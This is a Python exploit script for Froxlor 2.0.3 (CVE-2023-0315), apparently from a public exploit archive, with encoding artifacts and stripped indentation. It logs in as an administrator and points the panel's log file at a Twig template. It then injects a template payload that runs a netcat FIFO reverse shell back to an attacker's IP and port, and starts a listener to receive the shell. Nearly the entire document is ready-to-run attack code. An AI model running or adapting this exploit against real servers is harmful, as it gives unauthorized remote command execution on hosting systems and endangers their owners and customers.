#!/usr/bin/python3

# Exploit Title: Froxlor 2.0.3 Stable - Remote Code Execution (RCE)
# Date: 2023-01-08
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2023-0315
# Exploit Title: Froxlor 2.0.3 Stable - Remote Code Execution (RCE)
# Date: 2023-01-08
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2023-0315
# Vendor Homepage: https://froxlor.org/
# Version: v2.0.3
# Tested on: Ubuntu 20.04 / PHP 8.2

import telnetlib
import requests
import socket
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote
from threading import Thread

warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')


if len(sys.argv) !=3D 6:
print("[~] Usage : ./froxlor-rce.py url username password ip port")
exit()

url =3D sys.argv[1]
username =3D sys.argv[2]
password =3D sys.argv[3]
ip =3D sys.argv[4]
port =3D sys.argv[5]

request =3D requests.session()

def login():
login_info =3D {
"loginname": username,
"password": password,
"send": "send",
"dologin": ""
}
login_request =3D request.post(url+"/index.php", login_info, allow_redi=
rects=3DFalse)
login_headers =3D login_request.headers
location_header =3D login_headers["Location"]
if location_header =3D=3D "admin_index.php":
return True
else:
return False


def change_log_path():
change_log_path_url =3D url + "/admin_settings.php?page=3Doverview&part=
=3Dlogging"
csrf_token_req =3D request.get(change_log_path_url)
csrf_token_req_response =3D csrf_token_req.text
soup =3D BeautifulSoup(csrf_token_req_response, "lxml")
csrf_token =3D (soup.find("meta", {"name":"csrf-token"})["content"])
print("[+] Main CSRF token retrieved %s" % csrf_token)

multipart_data =3D {

"logger_enabled": (None, "0"),
"logger_enabled": (None, "1"),
"logger_severity": (None, "2"),
"logger_logtypes[]": (None, "file"),
"logger_logfile": (None, "/var/www/html/froxlor/templates/Froxlor/f=
ooter.html.twig"),
"logger_log_cron": (None, "0"),
"csrf_token": (None, csrf_token),
"page": (None, "overview"),
"action": (None, ""),
"send": (None, "send")
=20
}
req =3D request.post(change_log_path_url, files=3Dmultipart_data)
response =3D req.text
if "The settings have been successfully saved." in response:
print("[+] Changed log file path!")
return True
else:
return False


def inject_template():
admin_page_path =3D url + "/admin_index.php"
csrf_token_req =3D request.get(admin_page_path)
csrf_token_req_response =3D csrf_token_req.text
soup =3D BeautifulSoup(csrf_token_req_response, "lxml")
csrf_token =3D (soup.find("meta", {"name":"csrf-token"})["content"])
onliner =3D "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} =
{1} >/tmp/f".format(ip, port)
payload =3D "{{['%s']|filter('exec')}}" % onliner
data =3D {
"theme": payload,
"csrf_token": csrf_token,
"page": "change_theme",
"send": "send",
"dosave": "",
}
req =3D request.post(admin_page_path, data, allow_redirects=3DFalse)
try:
location_header =3D req.headers["Location"]
if location_header =3D=3D "admin_index.php":
print("[+] Injected the payload sucessfully!")
except:
print("[-] Can't Inject payload :/")
exit()
handler_thread =3D Thread(target=3Dconnection_handler, args=3D(port,))
handler_thread.start()
print("[+] Triggering the payload ...")
req2 =3D request.get(admin_page_path)


def connection_handler(port):
print("[+] Listener started on port %s" % port)
t =3D telnetlib.Telnet()
s =3D socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", int(port)))
s.listen(1)
conn, addr =3D s.accept()
print("[+] Connection received from %s" % addr[0])
t.sock =3D conn
print("[+] Heads up, incoming shell!!")
t.interact()



if login():
print("[+] Successfully Logged in!")
index_url =3D url + "/admin_index.php"
request.get(index_url)
if change_log_path():
inject_template()

else:
print("[-] Can't login")